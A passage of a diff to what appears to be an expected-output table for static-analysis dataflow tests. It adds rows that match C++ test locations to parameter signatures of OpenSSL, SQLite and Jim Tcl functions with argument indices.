1 | +| string.cpp:19:6:19:9 | sink | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| string.cpp:19:6:19:9 | sink | (CONF *,const char *) | | _CONF_new_section | 1 | +| string.cpp:19:6:19:9 | sink | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| string.cpp:19:6:19:9 | sink | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| string.cpp:19:6:19:9 | sink | (DSO *,const char *) | | DSO_convert_filename | 1 | +| string.cpp:19:6:19:9 | sink | (DSO *,const char *) | | DSO_set_filename | 1 | +| string.cpp:19:6:19:9 | sink | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| string.cpp:19:6:19:9 | sink | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| string.cpp:19:6:19:9 | sink | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| string.cpp:19:6:19:9 | sink | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| string.cpp:19:6:19:9 | sink | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| string.cpp:19:6:19:9 | sink | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| string.cpp:19:6:19:9 | sink | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| string.cpp:19:6:19:9 | sink | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| string.cpp:19:6:19:9 | sink | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| string.cpp:19:6:19:9 | sink | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| string.cpp:19:6:19:9 | sink | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| string.cpp:19:6:19:9 | sink | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| string.cpp:19:6:19:9 | sink | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| string.cpp:19:6:19:9 | sink | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| string.cpp:19:6:19:9 | sink | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| string.cpp:19:6:19:9 | sink | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| string.cpp:19:6:19:9 | sink | (SSL *,const char *) | | SSL_add1_host | 1 | +| string.cpp:19:6:19:9 | sink | (SSL *,const char *) | | SSL_set1_host | 1 | +| string.cpp:19:6:19:9 | sink | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| string.cpp:19:6:19:9 | sink | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| string.cpp:19:6:19:9 | sink | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| string.cpp:19:6:19:9 | sink | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| string.cpp:19:6:19:9 | sink | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| string.cpp:19:6:19:9 | sink | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| string.cpp:19:6:19:9 | sink | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| string.cpp:19:6:19:9 | sink | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| string.cpp:19:6:19:9 | sink | (UI *,const char *) | | UI_add_error_string | 1 | +| string.cpp:19:6:19:9 | sink | (UI *,const char *) | | UI_add_info_string | 1 | +| string.cpp:19:6:19:9 | sink | (UI *,const char *) | | UI_dup_error_string | 1 | +| string.cpp:19:6:19:9 | sink | (UI *,const char *) | | UI_dup_info_string | 1 | +| string.cpp:19:6:19:9 | sink | (X509 *,const char *) | | x509_ctrl_string | 1 | +| string.cpp:19:6:19:9 | sink | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| string.cpp:19:6:19:9 | sink | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| string.cpp:19:6:19:9 | sink | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| string.cpp:19:6:19:9 | sink | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | Configcmp | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | Configcmp | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | DES_crypt | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | DES_crypt | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | OPENSSL_strcasecmp | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | get_passwd | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | get_passwd | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | openssl_fopen | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | openssl_fopen | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | ossl_pem_check_suffix | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | ossl_v3_name_cmp | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | sqlite3_strglob | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | sqlite3_strglob | 1 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | sqlite3_stricmp | 0 | +| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | sqlite3_stricmp | 1 | +| string.cpp:19:6:19:9 | sink | (int,const char *) | | BIO_meth_new | 1 | +| string.cpp:19:6:19:9 | sink | (lemon *,const char *) | | file_makename | 1 | +| string.cpp:19:6:19:9 | sink | (size_t *,const char *) | | next_protos_parse | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| string.cpp:19:6:19:9 | sink | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| string.cpp:19:6:19:9 | sink | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| string.cpp:19:6:19:9 | sink | (unsigned long *,const char *) | | set_cert_ex | 1 | +| string.cpp:19:6:19:9 | sink | (unsigned long *,const char *) | | set_name_ex | 1 | | string.cpp:20:6:20:9 | sink | (char) | | operator+= | 0 | | string.cpp:20:6:20:9 | sink | (char) | CComBSTR | Append | 0 | | string.cpp:20:6:20:9 | sink | (char) | CSimpleStringT | operator+= | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | ASN1_STRING_type_new | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | ASN1_tag2bit | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | ASN1_tag2str | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | Jim_ReturnCode | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | Jim_SignalId | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | OBJ_nid2ln | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | OBJ_nid2obj | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | OBJ_nid2sn | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | OSSL_trace_get_category_name | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | PKCS12_init | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | Symbol_Nth | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | X509_PURPOSE_get0 | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | X509_PURPOSE_get_by_id | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | X509_TRUST_get0 | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | X509_TRUST_get_by_id | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | evp_pkey_type2name | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | ossl_tolower | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | ossl_toupper | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | sqlite3_compileoption_get | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | sqlite3_errstr | 0 | +| stringstream.cpp:13:6:13:9 | sink | (int) | | tls13_alert_code | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ASN1_STRING_type_new | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ASN1_tag2bit | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ASN1_tag2str | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | Jim_ReturnCode | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | Jim_SignalId | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | OBJ_nid2ln | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | OBJ_nid2obj | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | OBJ_nid2sn | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | OSSL_trace_get_category_name | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | PKCS12_init | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | Symbol_Nth | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | X509_PURPOSE_get0 | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | X509_PURPOSE_get_by_id | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | X509_TRUST_get0 | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | X509_TRUST_get_by_id | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | evp_pkey_type2name | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ossl_tolower | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ossl_toupper | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | sqlite3_compileoption_get | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | sqlite3_errstr | 0 | +| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | tls13_alert_code | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ASN1_STRING_type_new | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ASN1_tag2bit | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ASN1_tag2str | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | EVP_PKEY_asn1_get0 | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | Jim_ReturnCode | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | Jim_SignalId | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | OBJ_nid2ln | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | OBJ_nid2obj | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | OBJ_nid2sn | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | OSSL_STORE_INFO_type_string | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | OSSL_trace_get_category_name | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | PKCS12_init | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | Symbol_Nth | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | X509_PURPOSE_get0 | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | X509_PURPOSE_get_by_id | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | X509_TRUST_get0 | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | X509_TRUST_get_by_id | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | evp_pkey_type2name | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ossl_cmp_bodytype_to_string | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ossl_tolower | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ossl_toupper | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | sqlite3_compileoption_get | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | sqlite3_errstr | 0 | +| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | tls13_alert_code | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ASN1_STRING_type_new | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ASN1_tag2bit | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ASN1_tag2str | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | EVP_PKEY_asn1_get0 | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | Jim_ReturnCode | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | Jim_SignalId | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | OBJ_nid2ln | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | OBJ_nid2obj | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | OBJ_nid2sn | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | OSSL_STORE_INFO_type_string | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | OSSL_trace_get_category_name | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | PKCS12_init | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | Symbol_Nth | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | X509_PURPOSE_get0 | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | X509_PURPOSE_get_by_id | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | X509_TRUST_get0 | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | X509_TRUST_get_by_id | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | evp_pkey_type2name | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ossl_cmp_bodytype_to_string | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ossl_tolower | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ossl_toupper | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | sqlite3_compileoption_get | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | sqlite3_errstr | 0 | +| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | tls13_alert_code | 0 | +| taint.cpp:4:6:4:21 | arithAssignments | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | BN_clear_bit | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | BN_mask_bits | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | BN_set_bit | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | BN_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | bn_expand2 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | bn_wexpand | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | BIO_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | BIO_find_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | BIO_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | BIO_set_init | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | BIO_set_retry_reason | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | BIO_set_shutdown | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (BIO *,int) | | TXT_DB_read | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (DH *,int) | | DH_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (DH *,int) | | DH_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (DSA *,int) | | DSA_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (DSA *,int) | | DSA_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:4:6:4:21 | arithAssignments | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:4:6:4:21 | arithAssignments | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| 